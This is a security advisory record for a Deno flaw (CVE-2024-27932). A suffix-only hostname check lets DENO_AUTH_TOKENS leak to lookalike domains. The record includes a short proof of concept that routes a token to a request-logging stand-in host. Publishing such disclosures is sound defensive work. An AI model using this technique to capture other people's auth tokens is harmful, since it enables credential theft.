{"id":"GHSA-5frw-4rwq-xhcr","summary":"Deno's improper suffix match testing for DENO_AUTH_TOKENS","details":"### Summary\n\nDeno improperly checks that an import specifier's hostname is equal to or a child of a token's hostname, which can cause tokens to be sent to servers they shouldn't be sent to. An auth token intended for `example.com` may be sent to `notexample.com`.\n\n### Details\n\n[auth_tokens.rs uses a simple ends_with check](https://github.com/denoland/deno/blob/3f4639c330a31741b0efda2f93ebbb833f4f95bc/cli/auth_tokens.rs#L89), which matches `www.deno.land` to a `deno.land` token as intended, but also matches `im-in-ur-servers-attacking-ur-deno.land` to `deno.land` tokens.\n\n### PoC\n\n- Set up a server that logs requests. RequestBin will do. For example, `denovulnpoc.example.com`.\n- Run `DENO_AUTH_TOKENS=a1b2c3d4e5f6@left-truncated.domain deno run https://not-a-left-truncated.domain`. For example, `DENO_AUTH_TOKENS=a1b2c3d4e5f6@poc.example.com deno run https://denovulnpoc.example.com`\n- Observe that the token intended only for the truncated domain is sent to the full domain\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\nAnyone who uses DENO_AUTH_TOKENS and imports potentially untrusted code is affected.","aliases":["CVE-2024-27932"],"modified":"2026-09-10T03:50:10.161608939Z","published":"2024-03-06T17:03:36Z","database_specific":{"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2024-03-06T17:03:36Z","nvd_published_at":"2024-03-21T02:52:21Z","cwe_ids":["CWE-20"]},"references":[{"type":"WEB","url":"https://github.com/denoland/deno/security/advisories/GHSA-5frw-4rwq-xhcr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-27932"},{"type":"WEB","url":"https://github.com/denoland/deno/commit/de23e3b60b066481cc390f459497d5bef42a899b"},{"type":"PACKAGE","url":"https://github.com/denoland/deno"},{"type":"WEB","url":"https://github.com/denoland/deno/blob/3f4639c330a31741b0efda2f93ebbb833f4f95bc/cli/auth_tokens.rs#L89"}],"affected":[{"package":{"name":"deno","ecosystem":"crates.io","purl":"pkg:cargo/deno"},"ranges":[{"type":"SEMVER","events":[{"introduced":"1.8.0"},{"fixed":"1.40.4"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/03/GHSA-5frw-4rwq-xhcr/GHSA-5frw-4rwq-xhcr.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N"}]}